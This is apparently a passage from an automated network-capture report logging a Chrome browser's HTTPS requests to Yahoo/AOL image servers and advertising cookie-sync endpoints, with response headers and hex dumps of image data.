Server: ECAcc (lhd/35A3) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=300,height=300,bytes=14932,owidth=8256,oheight=5504,obytes=28268793,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: 59aaa9976de57915252195419cda5c3e X-Served-By: cache-lga21969-LGA X-Timer: S1716474357.162411,VS0,VE2920 Content-Length: 14932 Connection: close
2024-05-23 22:35:04 UTC	14932	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 08 08 08 08 09 08 09 0a 0a 09 0d 0e 0c 0e 0d 13 12 10 10 12 13 1d 15 16 15 16 15 1d 2c 1c 20 1c 1c 20 1c 2c 27 2f 26 24 26 2f 27 46 37 31 31 37 46 51 44 40 44 51 62 58 58 62 7c 76 7c a2 a2 d9 01 08 08 08 08 09 08 09 0a 0a 09 0d 0e 0c 0e 0d 13 12 10 10 12 13 1d 15 16 15 16 15 1d 2c 1c 20 1c 1c 20 1c 2c 27 2f 26 24 26 2f 27 46 37 31 31 37 46 51 44 40 44 51 62 58 58 62 7c 76 7c a2 a2 d9 ff c2 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 34 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 05 06 03 04 07 02 01 00 08 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 02 03 04 01 00 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 da 03 30 7a c4 e2 3c 69 aa 52 5e 34 e0 92 Data Ascii: JFIF, ,'/&$&/'F7117FQD@DQbXXb\|v\|, ,'/&$&/'F7117FQD@DQbXXb\|v\|,,"40z<iR^4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.6	50164	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-11%2F50be11c0-78ed-11ee-b7af-8321670771f9&client=76f99bdb8f78cd44cc0b&signature=7c9ec566c152b8d5ce6757c69659757d3e78e0a5 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	1121	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 54166 Cache-Control: public, max-age=2592000 Cache-Tag: 309736351821732764899606652667715375266,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100154-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 120 Content-Type: image/png Date: Thu, 23 May 2024 22:35:04 GMT Edge-Cache-Tag: 309736351821732764899606652667715375266,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "2c615c5be29f203978f6690679a659c2" Expiration: expiry-date="Tue, 28 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 29 Nov 2023 18:15:40 GMT Server: ECAcc (lhd/35B2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=284,owidth=400,oheight=400,obytes=9125 Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000178-IAD X-Timer: S1711265537.688919,VS0,VE1 Content-Length: 284 Connection: close
2024-05-23 22:35:04 UTC	284	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 4b 50 4c 54 45 47 70 4c 03 58 ff 01 57 ff 54 8e ff 04 59 ff 03 58 ff 02 58 ff 12 62 ff 09 5c ff 04 59 ff 5d 93 ff e7 ef ff bc d3 ff 17 65 ff 2e 75 ff 81 ab ff f6 f9 ff cc dd ff 1f 6b ff 02 58 ff aa c7 ff a7 c5 ff 9d be ff 3f 80 ff d6 e4 ff e6 fa 05 0c 00 00 00 0a 74 52 4e 53 00 c2 ff ff 9b da fa 09 31 98 3b 8b 2f 80 00 00 00 76 49 44 41 54 18 d3 65 8f db 02 80 10 10 44 37 45 2e 11 25 f5 ff 5f 5a 3b e1 a1 e6 c5 3a cc ee 2c d1 23 6d a4 52 d2 68 7a 35 4f a2 6a 9a 71 1f 44 d7 c0 84 df 37 6b 47 8f 3f 8f 9f cf d1 1d 8b 03 d1 64 00 16 21 ca ca 95 21 d9 40 06 90 a4 00 62 ba 62 e0 4a 55 90 ce b3 a4 1d a0 5b 76 17 60 e9 4d 7d f4 68 da c6 66 b7 be 63 5b 30 1b Data Ascii: PNGIHDR(-SKPLTEGpLXWTYXXb\Y]e.ukX?tRNS1;/vIDATeD7E.%_Z;:,#mRhz5OjqD7kG?d!!@bbJU[v`M}hfc[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.6	50159	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	578	OUT	GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-05%2F6d3021a0-1900-11ef-bbe7-54c03d9b20b6&client=76f99bdb8f78cd44cc0b&signature=0f97af9efe0add39adc2bf15914aa82f4bf73c5e HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 35860 Cache-Control: public, max-age=2592000 Cache-Tag: 324582242224556677674927189164855442573,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21950-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 65 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:04 GMT Edge-Cache-Tag: 324582242224556677674927189164855442573,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e Etag: "d92dd492f17654d1ee99ecca05db782c" Expiration: expiry-date="Wed, 20 Nov 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 23 May 2024 12:37:10 GMT Server: ECAcc (lhd/35EE) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=300,height=300,bytes=32127,owidth=5500,oheight=3668,obytes=18635081,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21950-LGA X-Timer: S1716467844.325763,VS0,VE65 Content-Length: 32127 Connection: close
2024-05-23 22:35:04 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-05-23 22:35:04 UTC	1	IN	Data Raw: a2 Data Ascii:
2024-05-23 22:35:04 UTC	15743	IN	Data Raw: ab 88 a1 b2 3e e7 e4 93 00 0d bf 0a 07 a4 7f f6 7e 4c 4a 2d bc cc 85 5e 0f e6 01 8f 43 19 b8 7e db 24 0b 33 ad 02 d4 1c 94 95 66 22 9c ba 42 2f 97 8c 77 ee 65 8a fb 40 fd 25 b0 f7 13 b7 86 86 22 cd 01 ee 78 89 45 74 8f b6 ed 8f 17 f1 f8 8c 6a 63 40 58 93 c0 99 d8 96 ae d0 7f 31 84 06 16 63 ee f4 7b 42 c5 f2 8b f7 11 71 ae 47 c8 ef 67 49 00 0e db c5 e0 c5 e6 00 0c e9 31 63 6e 87 33 32 82 77 fe c2 39 f2 f0 26 40 01 25 ab 79 8f 18 7a 67 25 8f cc d5 79 19 3b 0a 80 92 d2 cd d7 69 9b ef fd 3f 80 7f 82 7c 0f d5 ff c4 00 38 11 00 02 02 01 03 02 05 03 01 06 05 04 03 00 00 00 01 02 00 11 03 12 21 31 04 41 10 13 51 61 71 20 22 32 81 14 30 40 42 52 91 05 23 33 62 72 82 93 a1 c1 b1 d1 f1 ff da 00 08 01 02 01 01 3f 00 17 0e 6a c9 60 13 40 83 53 30 7c a2 d1 c8 15 c0 da Data Ascii: >~LJ-^C~$3f"B/we@%"xEtjc@X1c{BqGgI1cn32w9&@%yzg%y;i?\|8!1AQaq "20@BR#3br?j`@S0\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.6	50169	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	817	OUT	GET /ups/58292/sync?_origin=1&uid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&redir=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila"
2024-05-23 22:35:04 UTC	763	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:04 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:04 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://image4.pubmatic.com/AdServer/SPug?partnerID=156078&xid=y-tptrnFdE2uVGPHeutxDi92.PqGg2S8o-~A&gdpr=0 Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:04 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.6	50193	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	967	OUT	GET /w/1.0/cm?id=78e2dffc-bb89-4bb2-ae92-f592d006518b&ph=6a16560a-f6c6-4851-b7b5-0b2c0190166a&r=https%3A%2F%2Fcontextual.media.net%2Fcksync.html%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dopx%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; pd=v2\|1716503697\|vMgavPkWgyiK
2024-05-23 22:35:04 UTC	665	IN	HTTP/1.1 302 Moved Temporarily Vary: Accept, Accept-Encoding Set-Cookie: i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; Version=1; Expires=Fri, 23-May-2025 22:35:04 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://contextual.media.net/cksync.html?cs=8&vsid=3595052986404735000V10&type=opx&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=e76223d5-0ccf-44a1-8261-d9c1c88ec58a Date: Thu, 23 May 2024 22:35:04 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.6	50176	52.46.155.104	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	714	OUT	GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=77983637-bb65-c5bb-2120-253812529cb6 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY\|t
2024-05-23 22:35:04 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 23 May 2024 22:35:04 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 2ZBFD3FMSCVV4DJHV9EW Set-Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:35:04 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:35:04 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-23 22:35:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.6	50202	54.165.165.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	1406	OUT	GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
2024-05-23 22:35:04 UTC	304	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 23 May 2024 22:35:04 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=wDRi3Y1XWudtyec5KKvj7ggue68&gdpr=0&gdpr_consent= Content-Length: 188 Connection: Close
2024-05-23 22:35:04 UTC	188	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 7a 45 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 77 44 52 69 33 59 31 58 57 75 64 74 79 65 63 35 4b 4b 76 6a 37 67 67 75 65 36 38 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=wDRi3Y1XWudtyec5KKvj7ggue68&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.6	50180	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	724	OUT	GET /xuid?mid=2319&xuid=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175&dongle=4430 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:35:04 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:04 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:04 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:04 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:04 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.6	50177	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	718	OUT	GET /xuid?mid=2662&xuid=y-gPhdo71E2oSdeaPLxAL9mEitt.dXnA67oJ7i7V0K1Q--~A&dongle=0883 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:35:04 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:04 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:04 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:04 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:04 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.6	50179	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	826	OUT	GET /track/cmb/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgAigCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC
2024-05-23 22:35:04 UTC	637	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:04 GMT Content-Length: 251 Connection: close server: Kestrel location: https://eb2.3lift.com/xuid?mid=3658&xuid=8369ae03-bf51-422b-a15c-33306b0e1dfe&dongle=0cfd&gdpr=0&gdpr_consent= set-cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; expires=Fri, 23 May 2025 22:35:04 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFEhYKB3N2eDl0NTASCwi66e_50-D9PBAFGAEgAygCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC; expires=Fri, 23 May 2025 22:35:04 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:35:04 UTC	251	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 33 36 35 38 26 78 75 69 64 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 26 64 6f 6e 67 6c 65 3d 30 63 66 64 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 33 36 35 38 26 78 75 69 64 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 26 64 6f 6e 67 6c 65 3d 30 63 66 64 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://eb2.3lift.com/xuid?mid=3658&xuid=8369ae03-bf51-422b-a15c-33306b0e1dfe&dongle=0cfd&gdpr=0&gdpr_consent=">https://eb2.3lift.com/xuid?mid=3658&xuid=8369ae03-bf51-422b-a15c-33306b0e1dfe&dongle=0cfd&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.6	50185	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
